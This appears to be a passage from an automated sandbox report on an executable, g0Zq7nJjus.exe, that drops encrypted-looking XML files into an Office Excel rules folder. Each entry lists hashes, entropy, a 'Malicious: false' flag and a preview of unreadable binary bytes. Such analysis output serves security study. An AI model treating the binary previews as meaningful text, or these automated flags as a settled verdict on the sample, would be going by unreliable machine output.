SHA-512:	0619BD4BBB73CADC9017DFEC39B7D6AF86F9F6D66DA312AF851B945EC3460952A68537DB2A3FA3A33660EA64ADD39642E6B8B63505FAEB7BED7FFB908219B4FF
Malicious:	false
Preview:	<?xmlH2..w=,l...pO..@...M..{u...........Q....0.b...<.....^.ynXp.XN..p.B.<.E..kE...\|.@.k.^W.=...0. ......"..z......-............5.k.}.. R.\|....:e.7.7./..A[.....M....N..3....M.....`.i.......Ca^..c...0..[.7..W..\|s.....).{.....q0...(%..ap...u=<....o?.... .2.3.[Q....(Tz.w.9..L.....G.B.....Wh.s..]..nN..N...@kjG...+...z.2.?zL..Sz....Ju(...%.....^..PV9..3P.f...W.m.......]....k......!.pe......h.a....V..57. .]..X=T....hQ...9X.q.r.."..C1.H%....+"...9..L..^l./......;./.}h...z...-.....y.B..O<.f.l.....u.]..'j......(.P.a..!3..`..4e..+s.C....9c....8./.KQ5E..r).@.M..ic.@..........A.E.E.......y.ow..l.I8.....4...u..W...XN......b.....n....EN..j.J6..!S......P..t....D...}C,t.Myo.K..x....>$.hO..o..,.....J.J$..H..zn..B...K......E.......^....jRT8LE.U4...VY6..Q..........iV.2.w...i..S..i..d..l....n......w...4...~.GA.e.l......ja.....D..G#\JF.r..5..a......4j......m...&b....1.B=}......9q.....L..S.z...Dr.`k.....eR......../...A.qY..jS..X[e........v..a$..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.867224816739096
Encrypted:	false
SSDEEP:	48:po6v2QSVsMNEbtRtPXVIUaCrMp+aDq3SmR67M8nD:pfSSMNqtPlXrzaDq3SmRIM4
MD5:	FA1A64CF3D82591115403330D6B68992
SHA1:	10B62F1CE26A11A0FB96CBFE7030DC80D847144C
SHA-256:	BBDF81878D97E1AE9FD31EBDF95F849AD6406084AD48E9A217875CAAC7C5B430
SHA-512:	4EDE32E210E0E41DC5F2E2FADBC564A2D5B9C796EAD334F1C6963DE21F32BAE91DA315A9A127576D5DF29FCFEE33A9E2E969E2F4745B2C1C0FA70CCAC2A2C347
Malicious:	false
Preview:	<?xml6...UnH.{p3.h.....9L.oD&4.~1..AG-.Ei..;..V....p3...E6H..Egy...../p.+.y..j!.u,......./r..^...8&.+.8...c..&.FQ......j.._.R~.^...C"b....I:...N.k.W.. ...:0...dKHR?)..:.%..Z.....}k.Q.E7+.Q..9F...]B.n....w...wL......m:h..X.3v.%.......L....)..m.M..<....e.......5."M.....8.-.mf'v.,....[..b.l4i.qi+...m&.5....QI...$.hQ..._..{h...v..y...1.>....\))&..r.sV...u.12..l.X..-.ra.D..<.C.....W.../.2..7@L..5.V.U~4...../v..y">....46..@....m....".?.....~8.G.y.r...RcI11.x..(.YG....[/q..=E....T.N..'...8.....!..zudy0.. ...C.L{.]....?....P.@Q..R..T...#...2I...M.5....2....L7oMy..~...Y^..0...d.).;.zS.S"O...O..]........\|Z..y....2.Me....M...>.....FVV"E.Su@^.-......NiA.]f...v..\.......Qd~...C&..[1.L;%v..B...1.c,K.....<...Tw..\d...3.G....:a...b..{RV7,....s.p3...t......N.Qk("kN..z..X.a.Am..Q......}V[..s].W.E...d6...H..1-...c.B.........pR...t.......$.....4.....H.A...@..j...B.e}....?E^.d..V.1.\......Y7Z..........I..#.Y.*.> ..Yg.`A.W{E`T.#.......+.=.J<.Mc.....\<-.<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.906268973093675
Encrypted:	false
SSDEEP:	48:KIFf+XM8b0uUrjTKyldI8xJaU4K1vrEAGOE1ED:1mXBb0JPT1CA8Uh1vrEQE1Q
MD5:	A8F5A161A8736AF1C2973D8035468E86
SHA1:	5B6BB3972CB22DED7001D01BE672F3B908282113
SHA-256:	97C087CC42FCA45C79F55A145824553CA856EAC44CC95525CF1B09141D56AD2A
SHA-512:	A6DFAEE577FAE7B5DC4BDBC9349C2E13722CA63B1BCE3FBC29D637632AB69D985ABA019E77E1EA696E33684433654956D1DE00CDB9156C35E36EF5854CBB1B0E
Malicious:	false
Preview:	<?xml........h.G.TZ&.Kv..].....KK.........#...1O.r..i.peP:........kZ.<+...V..gL.O.U.....`...o.....#s"U....+..<...>U......U.$....B..................S..b...b...a.....z..7...N.L...A.@C@- ....{P.O....=n}.\.@"i&U4..........Z.....M..l.&!h\_...m.8...J....r..1.L.&:.P=.....6..o.9....p6...Y...4u7.......B..C..u-.Q.b...I..@^./.h..I..,... #.J.W1F.....Rsh{.....,>+.z&.\|e/\X.3..MP.uP.t...CS8......._d.X....ZR.i.1.....l(\[...."..4f..X..a.....8\.]...Bc..`D..0$e..r..m.J.']..EdT._.....A..R\|.s...;......<.....F.~....'`...y.-v..\.?Y.........^l.7.....zB..)(......*Bs..y..vl..n..L..............S7...^....;D.......x....V.q..^....0&...mn.g.,2..j.vaW.it...x.L.z....v.^K...".ld.g..p...0.%j..W.$....'....H...v..e&......b.l..&s.e.x=.L.O.Z..KRZ..-.../!I<.cs.....P....x...G.{..zn..`X~.....J..w.e..^$q,-....5.;..5..T..V'.]....:m.k.l.`Z&#8}.fb.t...p.a..&m...[.M..bc...\|.G.I4<...)d..#.....$.q.w."ekj...4?s.W..u_..S.N.....!.wa.NL.t..0@..! ...(>..]..I.....1...}..CH)D......a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.924449675006601
Encrypted:	false
SSDEEP:	48:WXjtks5bS6ISjnLeK5tSrO8cnRpkZD9Cj+wqG0QxYUQlRE7vlz///lCZqpZsjDq5:Qjp5bS6ISrLxFvkwqxQeUQn+dz///AWJ
MD5:	F36375280D128F5E29FFCD0FDC71AA9B
SHA1:	49547B9E6981829B842B3A7CE7910471859D9C08
SHA-256:	0843468B75ABA091B5B220518260009E2ED30CDFE4B5EB01BA5F32B69525E21B
SHA-512:	E9A89A5A70BE37424EB6CDA443216E1A81EEEFBA0D73478512D3535AE1FCF4960EBFBD041CB9437C711CE16F2B2D251C0D94C201568E31EDD095BDA05AF138A7
Malicious:	false
Preview:	<?xmlN..re.p=..#..P.K.!..j..u..4.\.`.nZ.U......14.u.v.By../f..ue...O..".:.G..Z{.m..H[...sNaI..yE2...c'7.w9....h.@..........(K........B......tm......HL.q@.SJS.5.qC..........1OT5..qC..&D@.+e..[.M.7.G)q...j....C...N..X9'....e..W..P.}.....z..^......<.uX0G.(T..B.....Nd]N.[{!.......F0"xl=u.c.bYe..-..vmu..!.p.h...;c....6zT.9....U.k......a....#.^ko.......Y..C-..m.\..d...gn.......j....@...W..._j......\-....3...T..~P..A.%.2....E[..G...z.8g\../hiWI.T.J.k.kFE..4\..M.PC.A....x..N.......X....:.D..39x...<t......B.^aE.......p.VL:+9u.H}1I%..@E.=6....=z..P........d+.#<....J".j..@.\|../.....x....m...(.b^h......&Y.y.<U.pkz...h}gzL_.i....g..l.$$F...p.D....[...3 >.~..+.W.?n..(L.\|........<..W...#.#.0.u.F#fB..H....P.Z:..uE....g..6..0.v...O.~..Q..I;...C.NM.Cus.d.?..ov...+.[.?....kE'.`,..N.O^.._..P\|\tY.U....G.....?..G.ji..I%..VUB...E9!....O.J...@...:Q.oa...1xq...$.fX..........(...t.HA"sU..f6.....y...o.....ar.g..Nh.7..f...;..0+...X.g.J&..2s.c.oK... ..../.\|c.>...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.950459904654305
Encrypted:	false
SSDEEP:	96:BIiCmhBk94GH5PWjt+dMjRF+X7vhUaHgqW2pGBuKK6PWCWmXi:tCmh4H5O1+rvaaA1uquK1Wfmi
MD5:	B88AFA1375B56FC49B81D92AF1631B1A
SHA1:	79F1FF781D5F3933A9480105D60193CD33F313A4
SHA-256:	C2F9156FBFC6ECC7A86454F32CFE4F446DEB2E434041458355CD800578A4E71C
SHA-512:	5E9652EFDF3ACF39815D9B6DD53125D9B3202A10F684E977A745030431210991FD125D113292B794C843E280FC06EAF3CDACEC6A16446DFC2DC9F5A865B8AF55
Malicious:	false
Preview:	<?xml.a+...4=.j.H..P.wA(..4".7..8.bUy.t...[..Gj5<...y.......$...e.IU..\|\..YE.FM.....j8...\|7...../..`hX...Pu.\.{.5GCc.....B....sD...2.&......!Ry...t....+..^.&"l..oG..q.+..~!.^.........4.Ro.D}....1..&....~\|..!b..k...\.......6.....l{...t.Z..X.A.v........y.N..f.....R.IX........c.....9\,.?r.JY.v..u.#..Y.\.F.Kd.Q.Xrg.H.Z.N....Y4<.5O..N...y.....^.q..B...}..?I..v...Hd+..g.M.+.&R`q...~b..N.)..s.P...........b..128e..Ru.Ue.E........D..,.....v.0..3J.ia.m...\.z7e.c...X..M...\|..s._.........P..+/#..l.Y.X`.H.DY.<....lsjD..h3....e..b`...}..C..i25.'..z..Ch.~.]A....]~I.9+..X.....).8.Q..k.\|.p.../..^....}~.....B/.z&..f...<..D.].~.5.@./C.y......(z...rH.C_.....l..I.j...y.9\|..N...-E...b.j.(;.b..Q.....R_..f..t.<q.!y...Vuk.....]......V.=..64p..f.4Y`..o{....j6s.....7F.Z...p'..%...+a....../..D7....x......yU.@.>......kZ. .A.O.iM..u.f.3.M...u..?.U.]u...r]Y.du.....mX'.+..O{..Of1B.w..`j.(6..o....6..\j.h.2F.i..(.Me.....M...b7.5....Zg..M\8FQ#.....S..A......BZ.X..I.!Tg..$.~..}..Q.w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.971732327835504
Encrypted:	false
SSDEEP:	192:1FH5QUM++bV3xjeRTiiuxuoJEkjwasWcQT8AHDoQTa:VQv++h3xjIOFJEuwasIAmDFG
MD5:	165D9F89AB55FD6878A14ECF37BE391B
SHA1:	4A60A2797FBC5163E41EEB13ED3C89ED07F89E85
SHA-256:	076E979E4EE84B286CBFA302AF9368C86BA8C91C3678CF8A183CA689A42BE80B
SHA-512:	BCB4C46DB64EA3FEF69FE10A22B5EA4D8550E371BB699F97A97DA92EA15E5CF6EDA2CC656086F0A6898FA514ED084C2164B22BD4624EE725AF783D722544A221
Malicious:	false
Preview:	<?xml...^:...."..e..].hL.Z..P'.e.y.eM...k...^Z......;.m..........f6...D........i.i(.6.%9l4...v.i.._..._........c.C,Q.f.q..`.'.x.msM@.(..>.d2a...C4.....{.......-N...:..........N........s....]o...E.....S.......O.....2..B..........r..U.[.JO <op....;m./.....;n{...{W>"d_.a......S..ona..G....G1.{.S.)...5...e..N.%u..E.....d.<4AC...".9.K....y.{.eT.u.t...v. u.+9..y..".q.n.k!.D.G.B..f../;.C.l..,...H.)..)........_.n.&.N.....b){.%..s.... .Q.K..p.@.}E.c"...Qz...$co...R.N.7SDu.\|..,..y8;.;.u.Y:..`.c......$..n..t.]..qzW....i...{]=.G.A7AU..\..(......:.U..W-...I......F......../.".9A....'I.Z...)..`..>..ogq.....q...f.9.F.:LQ?..-B....I..X ....Co.%...8.Dl..<........Gb.I...2t..3.EL..i$..g6B[..R.rr..ji.{...#...Pk.I.fH.....zY...z.;..Me<.&.@.aT.d:FK.%qD.+.%...b.2.J).,..........h,.u..x.&.+.z...T%H........GN...o.,..a.ON...G..%..*O....I.x;.....t..`9.!.$4U..,.Y..c.6......(1....\I"q.<...W..uUN.V.%.`@Xm_...].....@6.....Cl....NJ..b.).-.,:..~.r.`..`Q2./..oM

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.943201741773329
Encrypted:	false
SSDEEP:	96:zZ2/u8E7ER5WGHpQfO3k/nzK+kZ+Hms5FtWx2kXvv:tkO7ER5BHAO3k/nzKCHmsQkkXvv
MD5:	17CA9FCBBD9094CE8ECC0E7DF6535185
SHA1:	AF03E805A57A1FA3B4016741AB2129C38FB53AC2
SHA-256:	1476E987F2449A0676FBB621A297AC0CA53C1E9884AEF1A108F5FBC6F3164986
SHA-512:	931FB45196925E5E173ABB7556A5078664F9336929C045B2794E6F05F29F9BC0BE7B8778B4BCA9138A2163B4523B6BD90D19323D837950EFB0EE67C66E5031A6
Malicious:	false
Preview:	<?xml.R)....r....8....F..1m....X%....Aes.W.I....".AZ..[.9.;.,...F\=H.8.............i.H.s`N..d4..%..^M.:~.y..5........{V.G..<x.b.7..mp.J....~X.p.....K...Ye:....).......tj.T......}q...F..J.$...i.i..H...S.a..4.w.K.\q.R..E.N..V.b.h.5>...=.^......"..aL....o].aV....g.6C..bM..._... .RX...`.K.?ay.........Y..o.w'......cs.mE....6......R3<#...Ot..%c.9hB........=.[.0S.P".dUuu.,.vm....c..XC.^....9~<.9.~h.....mEQd!..p..<d.e{R..my..cl...N..."N...w../!.R.s./.`m4..6......uN....mC...'.#.(..........f..{FP...(].snkp\|.`....m/.[....q.s5..Q.D.......RR.....)...Z.M.....P.=4N.R..d5. ....Y.-.k.Jpo.I.nJ%Rl.....?X.24P.!.3.\..YA.`..4....../.....=3..<..T........B-.@_+&.i~.a.}oI..,....#.1.......k.r.....D.gf....B..e....%eq<....n._hX.J..:5..Q>\|.1..2....7.;.v.,...6..l..&.PT..I......t..\|lVd.+E....F.....x...,....'hL.Wl..G....$.9......n.?.~.Ep....g.Iq`V.5`[. ......4v........&.Vd....Y.>..E.A..".26V..4...q..j.J.].jk.7_..l...._..QT#/...e.\.sW.I..W.H....d.i.....c.&.....b?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.942294805077775
Encrypted:	false
SSDEEP:	96:cXht8T8BaVoZHv4CnovrlxYz6W+GCm9VG/3cIeo95R:ehbBaeFv4CqlxY2qCm9VG/beo9T
MD5:	8679222E3839B9F5A249928127DEC52C
SHA1:	4552CB18D9A8150E720D0BCAB283DE715AA54F1C
SHA-256:	14EAC841C5C8F4DDCB0EA40447F3DD5901FCDD9621153E273B9C7ADA13A29BE0
SHA-512:	4CAF4C6F44ECF1DD75A6926E7D7C3F31483A63968642A66112E92D055817246D404DF20BD1D9438A9BCA6F5D05A9AAEFA89FB456A979B224762A92E7254B62F6
Malicious:	false
Preview:	<?xml.....a..rq.3.c9sO.%Z5.Sf(.Z..'.IS.....Iq.g..%yA."~).sk.."...c3....0.P#F._)..b...e...1n.y.m.Z+.6U.Q.0.Y...K.....j.P.A.\...N#.W.......Kj.p\P...$.}Q........!.......C9._.....OL._...S....)...GX.?..[....N..J..a.r.I....a?S.PF.y~C..,.W....D....8....HGK...u.U0!V%...,kk'....\k..C.8(.....,.....XK.....{.G6\.v.....G.=OT.iw.....6.l^.sC............@.DV4..Tc%.b&.W.[.j.Y...E...F.:.....z.{ImL\.6KB.+..).....27..........F..w.~.l...D..y...I....QMO.n.$.W%..D.~0G...u.V"9.....Iy.F\|'..G..q....Z.X.....d.W...#.b..M...b....[.Q...M"....?.....K3j.z. Uk....}.&.;gJ...4F.&..#..`.gL~.P.'.........U.Yq*.nW.....g...6n.:.;.2J..(.?.m..U.>...:...D..B.N.....-M....y../.m..S.y..k....e...g...K.....a.`.?...p/..X......+9Z..}..%.X.s....o.R......\.....jn.......keZCe...i.Z./q..I.......&\|1..m4Z>..x.)..y.$.W}Ne}2..g}.y...E-...s..cq..T.o.#...O"....z.7,...3.....r..O"M%Z..pm...K.....d9......K....b\6....j%...(.ju....g..A...:h.l.7..>n...8..m.G....]..Y.R...ny.........7.p'.....1".{6...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.9375157903806794
Encrypted:	false
SSDEEP:	48:WWcUM+FPkj74ZV2KZEAqqc1irmiRDBasi7YrPBjAlzYcBG0q6oC+cbX9hM5rOaka:WwpA74b2lAOL3siErPBjwzYc0PBChM5J
MD5:	EAEF6F5B60C9060F281D6E6FA839D0B7
SHA1:	A95DBD3082C1D7F17752A6478D9EEB3048E006A6
SHA-256:	1BB7550972071AB5C389C31EC8FFEFB723474D8F98D4737BDBC289AE990F36AD
SHA-512:	7C3FC4DE1A5B551396319ADAC48D61FDBE579E97E1B27966DA3D0CAE06C9D0FBD3A108F9F6396C4554517759E3F9B0777AD050D856E9873FAF18BBF17C40DA32
Malicious:	false
Preview:	<?xml+.s......?... &).8F.../.[s.-X.!...V.....R...F.:.s...~,.....oS.?-..^.J..E&..T.........j.#..G.U8.....V....@.-...@o<K.z.~.......yFw._../F.j.n...Ga....:...5..'...2.@...x....A.X.=..2.........'m...o........A&XR... ......dV.].bv>d.w.B....(.v;5&..R......L....._}. .n..}..\|.ea.(...<....0Q`...&.[.....0.......2..>...].....>...:/y/+y..........I.....,..\2(.G.Op.vC..Rf....~.Q.7{p.y......@...O3.>..L.z....`S....0.e<.V....&..CQV....)...a ..i.Uj......O.o.l...=...P.4.I:G.^...P...X.}..v.......7....x.K...g.B.Q....".L.%H..jn.z.tZIr..z.w.JF...?2h.i....1\|../......l.l,..i.).y.c)fB...../n...........#.....B...}\|..R6`..){....K.P%..C.....6.[.L.#7\..}...O....~..8WZ9....+....pHf..../J.%)......q...CP...A`)..\|g...s.....}Ek/Pg.&k{3".........O.....RO..}.. ..10...<Rj......\.....b.59'.m ...Y.(..9(.-j"U.yh...v...j.WF.K.......2g.s...\|.^.L...b.P.K...,.j..~a...=m....3.^.._8..;X..X..y....p.p..2.kO..E...j^.m.k....l....W.._.B.*.+.&.....z9aYsst..N...R.p....p.0...2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.92354817461838
Encrypted:	false
SSDEEP:	48:wHGeKrVzSSv/dbNfSLPF3WS4Jf0V5vbeyLDDUHobyQGb2WhY0+5j/6D:wHGXVzBv/dSFR5vbfLXUBFmDS
MD5:	993FE521CEA35C0ECB86017A6DE47B09
SHA1:	55E854B4900884BF22ADE6AFFDEE343959D82B07
SHA-256:	D9C98870A30EC2E75244B72F7077773CAD49EE70C4DEF1399C662540401E943B
SHA-512:	B4CB4A2C8D5C9271B411F3EBB3D8A03A740EEC860983C9E91B4755F5FEA45201147441CB0F7584ADA73868110D9FD36BAA6267E0AF2A8DC0FB0ACDB87ECDE78E
Malicious:	false
Preview:	<?xmlMa..\|..}9.q.}...wX.P..........f.^I.....h.t'4....6.3.TpR.t.Q.....h..E..y"q..p..#@....i..H.&.Pa..8Ge...!..].N.X....Dzd..Ly....er........ie..... ..c .-..C..../m ..Bu....s.3.]4.-/.1.d.Y.vTsv=._.".P.jr=.+.\|......W.=r2..q.^.....x:uDCZ..R2p..H..W.)..M.......m.<TgQ5./....C.E.Av....a9.'LK...9ukP..7.J.....J\dBh.C5..M!.y{<o..E.zq......S+.....E..4O..7F..v@.Y..>1./.....{9..gQ,.......Zn.N.....V..! ..A.2.......b...j...5^..{..8.7C(..Y].:ky.t-.t...X.!..lT6...}4.....GT.MG2.,8u>..D.C<.....{...).....)d.o...7.7....y.xy....n.......!C.<..7.Z...aL.B}G.cQ..".......T.=a.q..9.@.c.m_ ..94..k.G.n.L.78..l^.1%..-.$..9(7...]....]u..~.\A4^..#h.*MV.../.e.+V7.."..o&.l..fB..........s......7&....m..9...;2y....hG..'v!....k..&.I......K.4....j.$......6..?%=..h.{..7..:..G4..W......;.....v....x^..]..........&&..9G.......^$nj....>.......qi......$.K=.'W.s.....L.#.N~".y=%...S..V'}s.{~r.6QHr.R.}2....$...Au..y.\..CHFv.u.....1.[.....F.il.Y.........n..jE].C..gE.l.w.r.6Q...X.I.^..i.>.p.W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.699471193751434
Encrypted:	false
SSDEEP:	12:azN0DcHsi/l1wSvCCl3FkS9Iz6PUpR2YOQc2SzcdfXV/sW1TvSSYHHMg56lASqNQ:4NpMigGPIztpQfzcFXyWMSRg5Stzw5/0
MD5:	DB98A207CC0F4C524C731076F86541D2
SHA1:	0E1FAFEE4908AD9061FCF6BBCE027F0CC89F0F8F
SHA-256:	BFEC8EFBA0E5442FF1FFE7DBB9776EE3ADD723BC8054359B7B280BBEDA837CD9
SHA-512:	7FAB4730755AA992840CDCACD72B5E5CA55218D1259DC7B9B2BE020C92344D909CD50CBA43E9C4CC04302E2D25AC3E0B0ADE5AF1CBEB631D007B263E2C34F26F
Malicious:	false
Preview:	<?xml....S..4..F.T V..1...=.Aj.t7.j.-/.i..2>;...?t.v.Z.......j..cX1....b..z`wuJ.e.1H....G...."X...E..fv..52.Ja.Z.%a..^#..[.X...`m......y`O}w.9..J......j.?J.n.V.z.k;.x.9i.s,...tw.H.@...vZV..>....<3.C.Ib..'k y....&;..6n..Q....ss......F8.......4.P.1..$^.l.....S.....\9.....Gb...].9..@...".bf.U- :..f .{..%nI.q.?~ .E../Cc."p.hE..V.}...X.(\|..VwS.s..2o....m.?.[.\|.0Oa...H.W..._.\|.In'......J;.f..v..k.e......1M;{....*w....r`.8..'.s.....x.......z".W.".N............t.t..7..~.ND.........Q...Y...p..BH....7..(U%X$d..d.........p.lw.m`..:Sp.E..kO.al.W......6vh.......r..&.Md$...%....V. V."-\|m....+4.=..)-......y..S...~.Z#...=O.[...4 .C..../x\|.p.!u.....}...YmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.835089149579904
Encrypted:	false
SSDEEP:	24:QklM0JusVYGjqF4GkCmAq9v9qpkLBkkWy5CHvn+E7cMgfOEvrG2ePj2bD:Q8PJus1G6Aq9v4YLWrn+EwMgvva2wQD
MD5:	8859019936C23A03D2A4D5D8BE57BCAC
SHA1:	87C0AB13C58E0557848D34C28678E4AE0F014E76
SHA-256:	13C0CB806FDCC867DAF3FC6702D85BD5B202093E2B7BC51E8906F3DB3E9763EC
SHA-512:	462B96C9D65C1883C1818DAC4C1F76A120E39B8F615D3674BF634FE1685ED096E18230DE1DF7178648D166ACC6186CC57983B9E923F38279D7312D0BE63BA483
Malicious:	false
Preview:	<?xmlm.J..I..._..a......p..+Q..d.h.?y.O'....".AM.Q.C......Gvh....w'&.+.Z..n.TQ.z.u...4.x.e.V.],.@....1.d..f.......?.$...x.$.0.4..]..l].>..j.8...)..^$...\|.M.._..Ew.AA.f.\|..L..\|-.v../.\|..w....q4..Z....'.m.KZ...6(p...L....n....x....o.53....kA.-.P.J..q.Z..i......!-..7.W.r.....kA.a..,.Y....W.L..._...~.c..7...J(.......O:..).3.vK.'q.v..%..8..w..w:.Hv..>.:.. .;.Z .I0...6....k.5.L..Q.._.+.....d ...KK.L........7..\|o..,?.YB..A.......m....LQS.n..L.......j...qQ$T....%.;..2%...7.,.Va.._f.G...J......D..#7......r@..+.... T\|.2..K.c.d&...L..0...........K........T....Oc....Y@4C....../.n......I.......0`d..,?.z.....s..tp,.........\|9.Y.......w.1...m.F...-.....db...M....dE...].........j.....h.e.5#tL.p>.-I{L.3.w.b............`.2.5m.{.Qr...)....&.RjYP....Ie...k.?...FB..=...E2Tq"'..a).s..{.uV.....cq..J.f.Rs.P..eD.(..x.0.FD."..r.w~+....u....%G.R...L.ic.].V..JN.A>yc_..0.../.G=.5.=.I..C.n.c~.r...t..;..#../...2.El.e.u..S0..yD.8.;...sI.=4*..b#a[.ye....N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.552585868987267
Encrypted:	false
SSDEEP:	12:ew7GJzVKSTxlGy0hjhwxIE0rs1FGNcjayidRdBEdzSUdNcii9a:eKGayGjQIE08GNc6tBE42bD
MD5:	8A40471CB84CF5B5AA716D8DCA42F5C2
SHA1:	D848BDB6B333A4418D9E2D39E7AA83B10D61C187
SHA-256:	E1108FB216061968BC55B5E75B1EBD7B7E424DBDAA5609DE251AF656E20209B2
SHA-512:	08706718A683A8A94711411EF34938A382CBF4D4899F292F50C8638E3C09EBB9943D6538628387D9FE92BC5E53B50E3AEE0617B980BB8793ED01DF2FB7692D63
Malicious:	false
Preview:	<?xml..=l.......H4K.."4"........o.>...?.B.....h}...6....+...)\.%ULva.....`.A.!?...?..i.Z.0.uU..y...?Ns./-..{C.m..(.."k....L0....6.....I...4Nc......3rt~..F.q+T..a..[F........._x>..)"rp.G..m.z..v#.l.)f.rf..P3....4.T..]0.#....$&.+.>E.%...G..Y..mO.Nt@x.fo^..,.?.......5.7.Bb..!.#..\+....[.......Z.;...I......[..i..<)E...."}m.S..F.L...Q....R.dW]..!.1oC.G@....\....?.....@...g!Q.....bK[{~H.8.%-'..rX.Gr.....&....}...k0.....?.....HY.k....\|..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.914194353993706
Encrypted:	false
SSDEEP:	48:RHyUO/rNBVeXRzgBN1UF00qcglvvw0R3MvDtM/suh513i5TksqD:RSUODNGhz+UF00qtjRcG/sWGYz
MD5:	1D66E0FD9DBE53DD8A00358209B4FB67
SHA1:	471165DD09E3F7F28373182BD6AE679883527991
SHA-256:	20866F90C782ECA562E9EAF15DF9973DEB144C18FAB183754A579D9EC892C97E
SHA-512:	589136BB5834EFAFDF2F957F5CB2B6F9EEF3A92DB24B9B23420C16C36F654F1D9ED95D232F5F73A91119C01E395BD15096004908986AEDF458E1C0AC56C6ECD9
Malicious:	false
Preview:	<?xmlZ.aB.._W.v..\.k...'K4...%.x....]._.f.7P[fF../.v.U.,!............Q...Tu..<.....E..L.?6.V7.6...\|.. \...G..x....7}].....v.t...z.......uag.7.@1......YJ.9......S.q.....iS...<..b+......XW........W...C.......]8U...&.2dh.@.B.V].C,..{.X.i..B.1..>....t.x..u.Q>.c-;E...4j.....`..6D..3/w..[..c0..j..b.....$Q&c..+..&......D.d?.....<..B..i&..+C.%.@..a!U.\|....A.0....7O...>.....D.t..`T6.....fV..C..%......{}..fz....../....s..d.......U...a.Q......{,...J.......3.S.[...$.t.\....6.+.g.4.>\.u..^..7.U......xp^`.......].Y.i..J.......%.RxW..L..x0.8..(P........!.E.E...h......ulm....8.2q......._..v.Nd.G...RI..m..L....<..n.=II.RV$}..AFZ.<...P....\x. $..W.j'.$..a(...X.U5.....V..N....".\|......Lf..p..Y./wp..ZDh3.n.sl..Q...UW...=.<...U.X."3..u.Ss.2q........\|cc.^.L.. .N.uJ.\K..!....\|./...U..).A_..H*FjayIub_........S.X.0..I..~m.!....Yo......`.WT.4..Q.)..<.o.......D....n6....7.....938P..J.s...-. (j.^s..K.fG.qt..5.IT.7m....%..sw...>...6.K..!P...k..c.f.XD.L.G/.~&.N...._U.{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.713274229128839
Encrypted:	false
SSDEEP:	12:kuKdOgukzDfyc5DecvntR+RIzXf/DihgtXR5MwMP+HLtPNaM1qEAWeLvf9SUdNcq:kuKdR5DLr+2zPWitB5ZPHLtPcjHw2bD
MD5:	19ABE1AA68699D62B28101DA82380FA8
SHA1:	EBFB3FF90544DEB420616EF8E283A1070FA32320
SHA-256:	05583BC20E4B98356CF1EFD4253B3CDA00FD838E18F8372702DCA9CE75F9A392
SHA-512:	2BBDC2546B8924807CCC500B719BC92F94FF4EF40C1B9A74814EBAB505E4070EEE0B56561F893EEF141002D5FD4550FD2ECB8DA824563AC4290467D2306A9019
Malicious:	false
